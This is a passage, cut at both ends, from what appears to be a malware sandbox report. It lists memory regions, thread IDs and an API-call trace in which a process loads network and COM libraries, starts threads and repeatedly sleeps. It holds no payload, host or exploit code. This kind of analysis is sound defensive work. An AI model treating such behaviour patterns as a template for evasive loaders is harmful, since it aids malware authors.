0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13713 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13714 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13715 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13716 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13717 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13718 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13719 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13720 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13721 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13722 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13723 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13724 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13725 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13726 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13727 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13728 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13729 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13730 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13731 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13732 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13733 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13734 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13735 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13736 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13737 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13738 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13739 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13740 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13741 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 13742 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 13743 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 13744 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Thread: id = 5 os_tid = 0x1304 Thread: id = 6 os_tid = 0x1228 Thread: id = 7 os_tid = 0x1224 Thread: id = 8 os_tid = 0xeac Thread: id = 9 os_tid = 0xdf4 Thread: id = 10 os_tid = 0x7a0 Thread: id = 11 os_tid = 0x4ec Thread: id = 12 os_tid = 0xbcc Thread: id = 13 os_tid = 0x30c Thread: id = 14 os_tid = 0xbb4 Thread: id = 15 os_tid = 0x328 Thread: id = 16 os_tid = 0xbc0 Thread: id = 17 os_tid = 0xaf0 Thread: id = 18 os_tid = 0xb40 Thread: id = 19 os_tid = 0xf80 Thread: id = 20 os_tid = 0xf58 Thread: id = 21 os_tid = 0xf44 Thread: id = 22 os_tid = 0xf00 Thread: id = 23 os_tid = 0x4dc Thread: id = 24 os_tid = 0x55c Thread: id = 25 os_tid = 0xbfc Thread: id = 26 os_tid = 0xbf8 Thread: id = 27 os_tid = 0xbf4 Thread: id = 28 os_tid = 0xbe4 Thread: id = 29 os_tid = 0xbe0 Thread: id = 30 os_tid = 0xbb0 Thread: id = 31 os_tid = 0xa9c Thread: id = 32 os_tid = 0x6d0 Thread: id = 33 os_tid = 0x7f8 Thread: id = 34 os_tid = 0x7a4 Thread: id = 35 os_tid = 0x72c Thread: id = 36 os_tid = 0x728 Thread: id = 37 os_tid = 0x724 Thread: id = 38 os_tid = 0x720 Thread: id = 39 os_tid = 0x70c Thread: id = 40 os_tid = 0x6fc Thread: id = 41 os_tid = 0x6ec Thread: id = 42 os_tid = 0x6e8 Thread: id = 43 os_tid = 0x6d0 Thread: id = 44 os_tid = 0x6cc Thread: id = 45 os_tid = 0x6c0 Thread: id = 46 os_tid = 0x6bc Thread: id = 47 os_tid = 0x6ac Thread: id = 48 os_tid = 0x690 Thread: id = 49 os_tid = 0x688 Thread: id = 50 os_tid = 0x684 Thread: id = 51 os_tid = 0x680 Thread: id = 52 os_tid = 0x654 Thread: id = 53 os_tid = 0x640 Thread: id = 54 os_tid = 0x634 Thread: id = 55 os_tid = 0x624 Thread: id = 56 os_tid = 0x61c Thread: id = 57 os_tid = 0x87c [0095.218] LoadLibraryA (lpLibFileName="NTDLL") returned 0x7ffd504d0000 [0095.220] GetProcAddress (hModule=0x7ffd504d0000, lpProcName="RtlExitUserThread") returned 0x7ffd5052c2a0 [0095.223] RtlCreateHeap (Flags=0x1002, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x0, Lock=0x0, Parameters=0x0) returned 0x470000 [0095.942] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x470830 [0095.942] LoadLibraryA (lpLibFileName="user32") returned 0x7ffd4e9d0000 [0095.943] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x10 [0095.946] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.947] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x12) returned 0x470830 [0095.947] LoadLibraryA (lpLibFileName="advapi32") returned 0x7ffd4e480000 [0095.948] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x12 [0095.948] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.948] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x470830 [0095.948] LoadLibraryA (lpLibFileName="urlmon") returned 0x7ffd41100000 [0095.949] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x10 [0095.949] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.949] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xf) returned 0x470830 [0095.949] LoadLibraryA (lpLibFileName="ole32") returned 0x7ffd50380000 [0095.950] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0xf [0095.950] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.950] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x11) returned 0x470830 [0095.950] LoadLibraryA (lpLibFileName="winhttp") returned 0x7ffd46920000 [0095.952] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x11 [0095.952] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x470830 [0095.952] LoadLibraryA (lpLibFileName="ws2_32") returned 0x7ffd4e270000 [0095.953] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x10 [0095.953] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.953] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x470830 [0095.953] LoadLibraryA (lpLibFileName="dnsapi") returned 0x7ffd4b670000 [0095.954] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x10 [0095.954] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.954] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x11) returned 0x470830 [0095.954] LoadLibraryA (lpLibFileName="shell32") returned 0x7ffd4eb30000 [0095.955] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x470830) returned 0x11 [0095.955] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x470830) returned 1 [0095.956] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0095.957] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoInitializeEx") returned 0x7ffd4dcd2c50 [0095.958] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0095.959] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoInitializeSecurity") returned 0x7ffd4dca5fe0 [0095.959] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0095.961] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoCreateInstance") returned 0x7ffd4dd0fb70 [0095.961] LoadLibraryA (lpLibFileName="api-ms-win-core-com-l1-1-0") returned 0x7ffd4dc70000 [0095.963] GetProcAddress (hModule=0x7ffd4dc70000, lpProcName="CoUninitialize") returned 0x7ffd4dcd1540 [0095.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403ca4, lpParameter=0x2290000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4 [0095.964] CloseHandle (hObject=0xde4) returned 1 [0095.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403d80, lpParameter=0x2290000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4 [0095.965] CloseHandle (hObject=0xde4) returned 1 [0095.965] Sleep (dwMilliseconds=0xa) [0096.122] Sleep (dwMilliseconds=0xa) [0096.240] Sleep (dwMilliseconds=0xa) [0096.251] Sleep (dwMilliseconds=0xa) [0096.261] Sleep (dwMilliseconds=0xa) [0096.306] Sleep (dwMilliseconds=0xa) [0096.317] Sleep (dwMilliseconds=0xa) [0096.620] Sleep (dwMilliseconds=0xa) [0096.689] Sleep (dwMilliseconds=0xa) [0096.700] Sleep (dwMilliseconds=0xa) [0096.710] Sleep (dwMilliseconds=0xa) [0096.816] Sleep (dwMilliseconds=0xa) [0096.827] Sleep (dwMilliseconds=0xa) [0096.837] Sleep (dwMilliseconds=0xa) [0096.902] Sleep (dwMilliseconds=0xa) [0096.913] Sleep (dwMilliseconds=0xa) [0096.989] Sleep (dwMilliseconds=0xa) [0097.000] Sleep (dwMilliseconds=0xa) [0097.039] Sleep (dwMilliseconds=0xa) [0097.073] Sleep (dwMilliseconds=0xa) [0097.180] Sleep (dwMilliseconds=0xa) [0097.191] Sleep (dwMilliseconds=0xa) [0097.202] Sleep (dwMilliseconds=0xa) [0097.292] Sleep (dwMilliseconds=0xa) [0097.304] Sleep (dwMilliseconds=0xa) [0097.315] Sleep (dwMilliseconds=0xa) [0097.333] Sleep (dwMilliseconds=0xa) [0097.344] Sleep (dwMilliseconds=0xa) [0097.357] Sleep (dwMilliseconds=0xa) [0097.368] Sleep (dwMilliseconds=0xa) [0097.380] Sleep (dwMilliseconds=0xa) [0097.414] Sleep (dwMilliseconds=0xa) [0097.425] Sleep (dwMilliseconds=0xa) [0097.577] Sleep (dwMilliseconds=0xa) [0097.587] Sleep (dwMilliseconds=0xa) [0097.598] Sleep (dwMilliseconds=0xa) [0097.686] Sleep (dwMilliseconds=0xa) [0097.697] Sleep (dwMilliseconds=0xa) [0097.708] Sleep (dwMilliseconds=0xa) [0097.720] Sleep (dwMilliseconds=0xa) [0097.731] Sleep (dwMilliseconds=0xa) [0097.741] Sleep (dwMilliseconds=0xa) [0097.752] Sleep (dwMilliseconds=0xa) [0097.762] Sleep (dwMilliseconds=0xa) [0097.773] Sleep (dwMilliseconds=0xa) [0097.783] Sleep (dwMilliseconds=0xa) [0097.794] Sleep (dwMilliseconds=0xa) [0097.804] Sleep (dwMilliseconds=0xa) [0097.875] Sleep (dwMilliseconds=0xa) [0097.951] Sleep (dwMilliseconds=0xa) [0097.962] Sleep (dwMilliseconds=0xa) [0097.972] Sleep (dwMilliseconds=0xa) [0098.017] Sleep (dwMilliseconds=0xa) [0098.028] Sleep (dwMilliseconds=0xa) [0098.038] Sleep (dwMilliseconds=0xa) [0098.049] Sleep (dwMilliseconds=0xa) [0098.059] Sleep (dwMilliseconds=0xa) [0098.070] Sleep (dwMilliseconds=0xa) [0098.080] Sleep (dwMilliseconds=0xa) [0098.091] Sleep (dwMilliseconds=0xa) [0098.101] Sleep (dwMilliseconds=0xa) [0098.113] Sleep (dwMilliseconds=0xa) [0098.161] Sleep (dwMilliseconds=0xa) [0098.216] Sleep (dwMilliseconds=0xa) [0098.257] Sleep (dwMilliseconds=0xa) [0098.288] Sleep (dwMilliseconds=0xa) [0098.298] Sleep (dwMilliseconds=0xa) [0098.312] Sleep (dwMilliseconds=0xa) [0098.323] Sleep (dwMilliseconds=0xa) [0098.333] Sleep (dwMilliseconds=0xa) [0098.345] Sleep (dwMilliseconds=0xa) [0098.355] Sleep (dwMilliseconds=0xa) [0098.448] Sleep (dwMilliseconds=0xa) [0098.459] Sleep (dwMilliseconds=0xa) [0098.470] Sleep (dwMilliseconds=0xa) [0098.485] Sleep (dwMilliseconds=0xa) [0098.496] Sleep (dwMilliseconds=0xa) [0098.506] Sleep (dwMilliseconds=0xa) [0098.546] Sleep (dwMilliseconds=0xa) [0098.557] Sleep (dwMilliseconds=0xa) [0098.588] Sleep (dwMilliseconds=0xa) [0098.662] Sleep (dwMilliseconds=0xa) [0098.673] Sleep (dwMilliseconds=0xa) [0098.684] Sleep (dwMilliseconds=0xa) [0098.694] Sleep (dwMilliseconds=0xa) [0098.705] Sleep (dwMilliseconds=0xa) [0098.716] Sleep (dwMilliseconds=0xa) [0098.727] Sleep (dwMilliseconds=0xa) [0098.737] Sleep (dwMilliseconds=0xa) [0098.748] Sleep (dwMilliseconds=0xa) [0098.785] Sleep (dwMilliseconds=0xa) [0098.861] Sleep (dwMilliseconds=0xa) [0098.913] Sleep (dwMilliseconds=0xa) [0098.933] Sleep (dwMilliseconds=0xa) [0098.944] Sleep (dwMilliseconds=0xa) [0098.955] Sleep (dwMilliseconds=0xa) [0098.990] Sleep (dwMilliseconds=0xa) [0099.002] Sleep (dwMilliseconds=0xa) [0099.014] Sleep (dwMilliseconds=0xa) [0099.100] Sleep (dwMilliseconds=0xa) [0099.111] Sleep (dwMilliseconds=0xa) [0099.122] Sleep (dwMilliseconds=0xa) [0099.133] Sleep (dwMilliseconds=0xa) [0099.145] Sleep (dwMilliseconds=0xa) [0099.259] Sleep (dwMilliseconds=0xa) [0099.296] Sleep (dwMilliseconds=0xa) [0099.329] Sleep (dwMilliseconds=0xa) [0099.378] Sleep (dwMilliseconds=0xa) [0099.409] Sleep (dwMilliseconds=0xa) [0099.420] Sleep (dwMilliseconds=0xa) [0099.436] Sleep (dwMilliseconds=0xa) [0099.447] Sleep (dwMilliseconds=0xa) [0099.458] Sleep (dwMilliseconds=0xa) [0099.469] Sleep (dwMilliseconds=0xa) [0099.539] Sleep (dwMilliseconds=0xa) [0099.609] Sleep (dwMilliseconds=0xa) [0099.630] Sleep (dwMilliseconds=0xa) [0099.641] Sleep (dwMilliseconds=0xa) [0099.651] Sleep (dwMilliseconds=0xa) [0099.661] Sleep (dwMilliseconds=0xa) [0099.672] Sleep (dwMilliseconds=0xa) [0099.689] Sleep (dwMilliseconds=0xa) [0099.699] Sleep (dwMilliseconds=0xa) [0099.711] Sleep (dwMilliseconds=0xa) [0099.726] Sleep (dwMilliseconds=0xa) [0099.868] Sleep (dwMilliseconds=0xa) [0099.938] Sleep (dwMilliseconds=0xa) [0099.949] Sleep (dwMilliseconds=0xa) [0099.961] Sleep (dwMilliseconds=0xa) [0099.974] Sleep (dwMilliseconds=0xa) [0099.984] Sleep (dwMilliseconds=0xa) [0100.013] Sleep (dwMilliseconds=0xa) [0100.037] Sleep (dwMilliseconds=0xa) [0100.131] Sleep (dwMilliseconds=0xa) [0100.142] Sleep (dwMilliseconds=0xa) [0100.153] Sleep (dwMilliseconds=0xa) [0100.165] Sleep (dwMilliseconds=0xa) [0100.176] Sleep (dwMilliseconds=0xa) [0100.187] Sleep (dwMilliseconds=0xa) [0100.199] Sleep (dwMilliseconds=0xa) [0100.210] Sleep (dwMilliseconds=0xa) [0100.221] Sleep (dwMilliseconds=0xa) [0100.271] Sleep (dwMilliseconds=0xa) [0100.281] Sleep (dwMilliseconds=0xa) [0100.337] Sleep (dwMilliseconds=0xa) [0100.347] Sleep (dwMilliseconds=0xa) [0100.358] Sleep (dwMilliseconds=0xa) [0100.368] Sleep (dwMilliseconds=0xa) [0100.379] Sleep (dwMilliseconds=0xa) [0100.408] Sleep (dwMilliseconds=0xa) [0100.514] Sleep (dwMilliseconds=0xa) [0100.569] Sleep (dwMilliseconds=0xa) [0100.593] Sleep (dwMilliseconds=0xa) [0100.630] Sleep (dwMilliseconds=0xa) [0100.641] Sleep (dwMilliseconds=0xa) [0100.652] Sleep (dwMilliseconds=0xa) [0100.662] Sleep (dwMilliseconds=0xa) [0100.677] Sleep (dwMilliseconds=0xa) [0100.689] Sleep (dwMilliseconds=0xa) [0100.706] Sleep (dwMilliseconds=0xa) [0100.798] Sleep (dwMilliseconds=0xa) [0100.874] Sleep (dwMilliseconds=0xa) [0100.906] Sleep (dwMilliseconds=0xa) [0100.927] Sleep (dwMilliseconds=0xa) [0100.938] Sleep (dwMilliseconds=0xa) [0100.949] Sleep (dwMilliseconds=0xa) [0100.959] Sleep (dwMilliseconds=0xa) [0100.970] Sleep (dwMilliseconds=0xa) [0100.980] Sleep (dwMilliseconds=0xa) [0100.992] Sleep (dwMilliseconds=0xa) [0101.003] Sleep (dwMilliseconds=0xa) [0101.015] Sleep (dwMilliseconds=0xa) [0101.120] Sleep (dwMilliseconds=0xa) [0101.200] Sleep (dwMilliseconds=0xa) [0101.221] Sleep (dwMilliseconds=0xa) [0101.231] Sleep (dwMilliseconds=0xa) [0101.242] Sleep (dwMilliseconds=0xa) [0101.278] Sleep (dwMilliseconds=0xa) [0101.288] Sleep (dwMilliseconds=0xa) [0101.298] Sleep (dwMilliseconds=0xa) [0101.309] Sleep (dwMilliseconds=0xa) [0101.320] Sleep (dwMilliseconds=0xa) [0101.330] Sleep (dwMilliseconds=0xa) [0101.429] Sleep (dwMilliseconds=0xa) [0101.440] Sleep (dwMilliseconds=0xa) [0101.450] Sleep (dwMilliseconds=0xa) [0101.461] Sleep (dwMilliseconds=0xa) [0101.549] Sleep (dwMilliseconds=0xa) [0101.559] Sleep (dwMilliseconds=0xa) [0101.569] Sleep (dwMilliseconds=0xa) [0101.689] Sleep (dwMilliseconds=0xa) [0101.721] Sleep (dwMilliseconds=0xa) [0101.732] Sleep (dwMilliseconds=0xa) [0101.742] Sleep (dwMilliseconds=0xa) [0101.753] Sleep (dwMilliseconds=0xa) [0101.764] Sleep (dwMilliseconds=0xa) [0101.774] Sleep (dwMilliseconds=0xa) [0101.879] Sleep (dwMilliseconds=0xa) [0101.890] Sleep (dwMilliseconds=0xa) [0101.900] Sleep (dwMilliseconds=0xa) [0101.916] Sleep (dwMilliseconds=0xa) [0101.995] Sleep (dwMilliseconds=0xa) [0102.005] Sleep (dwMilliseconds=0xa) [0102.016] Sleep (dwMilliseconds=0xa) [0102.026] Sleep (dwMilliseconds=0xa) [0102.037] Sleep (dwMilliseconds=0xa) [0102.047] Sleep (dwMilliseconds=0xa) [0102.130] Sleep (dwMilliseconds=0xa) [0102.161] Sleep (dwMilliseconds=0xa) [0102.192] Sleep (dwMilliseconds=0xa) [0102.242] Sleep (dwMilliseconds=0xa) [0102.464] Sleep (dwMilliseconds=0xa) [0102.525] Sleep (dwMilliseconds=0xa) [0102.536] Sleep (dwMilliseconds=0xa) [0102.548] Sleep (dwMilliseconds=0xa) [0102.585] Sleep (dwMilliseconds=0xa) [0102.596] Sleep (dwMilliseconds=0xa) [0102.606] Sleep (dwMilliseconds=0xa) [0102.621] Sleep (dwMilliseconds=0xa) [0102.688] Sleep (dwMilliseconds=0xa) [0102.773] Sleep (dwMilliseconds=0xa) [0102.793] Sleep (dwMilliseconds=0xa) [0102.804] Sleep (dwMilliseconds=0xa) [0102.828] Sleep (dwMilliseconds=0xa) [0102.838] Sleep (dwMilliseconds=0xa) [0102.849] Sleep (dwMilliseconds=0xa) [0102.859] Sleep (dwMilliseconds=0xa) [0102.870] Sleep (dwMilliseconds=0xa) [0102.881] Sleep (dwMilliseconds=0xa) [0103.021] Sleep (dwMilliseconds=0xa) [0103.146] Sleep (dwMilliseconds=0xa) [0103.184] Sleep (dwMilliseconds=0xa) [0103.195] Sleep (dwMilliseconds=0xa) [0103.206] Sleep (dwMilliseconds=0xa) [0103.216] Sleep (dwMilliseconds=0xa) [0103.227] Sleep (dwMilliseconds=0xa) [0103.237] Sleep (dwMilliseconds=0xa) [0103.248] Sleep (dwMilliseconds=0xa) [0103.258] Sleep (dwMilliseconds=0xa) [0103.384] Sleep (dwMilliseconds=0xa) [0103.532] Sleep (dwMilliseconds=0xa) [0103.565] Sleep (dwMilliseconds=0xa) [0103.576] Sleep (dwMilliseconds=0xa) [0103.586] Sleep (dwMilliseconds=0xa) [0103.597] Sleep (dwMilliseconds=0xa) [0103.608] Sleep (dwMilliseconds=0xa) [0103.619] Sleep (dwMilliseconds=0xa) [0103.630] Sleep (dwMilliseconds=0xa) [0103.641] Sleep (dwMilliseconds=0xa) [0103.652] Sleep (dwMilliseconds=0xa) [0103.663] Sleep (dwMilliseconds=0xa) [0103.722] Sleep (dwMilliseconds=0xa) [0103.827] Sleep (dwMilliseconds=0xa) [0103.857] Sleep (dwMilliseconds=0xa) [0103.898] Sleep (dwMilliseconds=0xa) [0103.960] Sleep (dwMilliseconds=0xa) [0103.971] Sleep (dwMilliseconds=0xa) [0103.981] Sleep (dwMilliseconds=0xa) [0103.992] Sleep (dwMilliseconds=0xa) [0104.003] Sleep (dwMilliseconds=0xa) [0104.089] Sleep (dwMilliseconds=0xa) [0104.135] Sleep (dwMilliseconds=0xa) [0104.175] Sleep (dwMilliseconds=0xa) [0104.211] Sleep (dwMilliseconds=0xa) [0104.246] Sleep (dwMilliseconds=0xa) [0104.256] Sleep (dwMilliseconds=0xa) [0104.277] Sleep (dwMilliseconds=0xa) [0104.289] Sleep (dwMilliseconds=0xa) [0104.299] Sleep (dwMilliseconds=0xa) [0104.310] Sleep (dwMilliseconds=0xa) [0104.380] Sleep (dwMilliseconds=0xa) [0104.421] Sleep (dwMilliseconds=0xa) [0104.437] Sleep (dwMilliseconds=0xa) [0104.448] Sleep (dwMilliseconds=0xa) [0104.458] Sleep (dwMilliseconds=0xa) [0104.469] Sleep (dwMilliseconds=0xa) [0104.480] Sleep (dwMilliseconds=0xa) [0104.490] Sleep (dwMilliseconds=0xa) [0104.516] Sleep (dwMilliseconds=0xa) [0104.606] Sleep (dwMilliseconds=0xa) [0104.737] Sleep (dwMilliseconds=0xa) [0104.747] Sleep (dwMilliseconds=0xa) [0104.759] Sleep (dwMilliseconds=0xa) [0104.769] Sleep (dwMilliseconds=0xa) [0104.780] Sleep (dwMilliseconds=0xa) [0104.790] Sleep (dwMilliseconds=0xa) [0104.801] Sleep (dwMilliseconds=0xa) [0104.869] Sleep (dwMilliseconds=0xa) [0104.949] Sleep (dwMilliseconds=0xa) [0104.979] Sleep (dwMilliseconds=0xa) [0104.991] Sleep (dwMilliseconds=0xa) [0105.003] Sleep (dwMilliseconds=0xa) [0105.035] Sleep (dwMilliseconds=0xa) [0105.046] Sleep (dwMilliseconds=0xa) [0105.082] Sleep (dwMilliseconds=0xa) [0105.099] Sleep (dwMilliseconds=0xa) [0105.110] Sleep (dwMilliseconds=0xa) [0105.174] Sleep (dwMilliseconds=0xa) [0105.185] Sleep (dwMilliseconds=0xa) [0105.195] Sleep (dwMilliseconds=0xa) [0105.206] Sleep (dwMilliseconds=0xa) [0105.217] Sleep (dwMilliseconds=0xa) [0105.227] Sleep (dwMilliseconds=0xa) [0105.238] Sleep (dwMilliseconds=0xa) [0105.314] Sleep (dwMilliseconds=0xa) [0105.364] Sleep (dwMilliseconds=0xa) [0105.446] Sleep (dwMilliseconds=0xa) [0105.485] Sleep (dwMilliseconds=0xa) [0105.496] Sleep (dwMilliseconds=0xa) [0105.506] Sleep (dwMilliseconds=0xa) [0105.517] Sleep (dwMilliseconds=0xa) [0105.527] Sleep (dwMilliseconds=0xa) [0105.538] Sleep (dwMilliseconds=0xa) [0105.549] Sleep (dwMilliseconds=0xa) [0105.619] Sleep (dwMilliseconds=0xa) [0105.689] Sleep (dwMilliseconds=0xa) [0105.718] Sleep (dwMilliseconds=0xa) [0105.728] Sleep (dwMilliseconds=0xa) [0105.747] Sleep (dwMilliseconds=0xa) [0105.758] Sleep (dwMilliseconds=0xa) [0105.769] Sleep (dwMilliseconds=0xa) [0105.780] Sleep (dwMilliseconds=0xa) [0105.790] Sleep (dwMilliseconds=0xa) [0105.801] Sleep (dwMilliseconds=0xa) [0105.811] Sleep (dwMilliseconds=0xa) [0105.889] Sleep (dwMilliseconds=0xa) [0105.978] Sleep (dwMilliseconds=0xa) [0106.010] Sleep (dwMilliseconds=0xa) [0106.021] Sleep (dwMilliseconds=0xa) [0106.034] Sleep (dwMilliseconds=0xa) [0106.045] Sleep (dwMilliseconds=0xa) [0106.056] Sleep (dwMilliseconds=0xa) [0106.067] Sleep (dwMilliseconds=0xa) [0106.077] Sleep (dwMilliseconds=0xa) [0106.089] Sleep (dwMilliseconds=0xa) [0106.150] Sleep (dwMilliseconds=0xa) [0106.216] Sleep (dwMilliseconds=0xa) [0106.228] Sleep (dwMilliseconds=0xa) [0106.238] Sleep (dwMilliseconds=0xa) [0106.249] Sleep (dwMilliseconds=0xa) [0106.262] Sleep (dwMilliseconds=0xa) [0106.386] Sleep (dwMilliseconds=0xa) [0106.438] Sleep (dwMilliseconds=0xa) [0106.463] Sleep (dwMilliseconds=0xa) [0106.513] Sleep (dwMilliseconds=0xa) [0106.535] Sleep (dwMilliseconds=0xa) [0106.546] Sleep (dwMilliseconds=0xa) [0106.557] Sleep (dwMilliseconds=0xa) [0106.567] Sleep (dwMilliseconds=0xa) [0106.577] Sleep (dwMilliseconds=0xa) [0106.588] Sleep (dwMilliseconds=0xa) [0106.598] Sleep (dwMilliseconds=0xa) [0106.609] Sleep (dwMilliseconds=0xa) [0106.726] Sleep (dwMilliseconds=0xa) [0106.737] Sleep (dwMilliseconds=0xa) [0106.747] Sleep (dwMilliseconds=0xa) [0106.758] Sleep (dwMilliseconds=0xa) [0106.769] Sleep (dwMilliseconds=0xa) [0106.779] Sleep (dwMilliseconds=0xa) [0106.790] Sleep (dwMilliseconds=0xa) [0106.801] Sleep (dwMilliseconds=0xa) [0106.812] Sleep (dwMilliseconds=0xa) [0106.822] Sleep (dwMilliseconds=0xa) [0106.833] Sleep (dwMilliseconds=0xa) [0106.843] Sleep (dwMilliseconds=0xa) [0106.930] Sleep (dwMilliseconds=0xa) [0106.976] Sleep (dwMilliseconds=0xa) [0106.986] Sleep (dwMilliseconds=0xa) [0106.997] Sleep (dwMilliseconds=0xa) [0107.010] Sleep (dwMilliseconds=0xa) [0107.079] Sleep 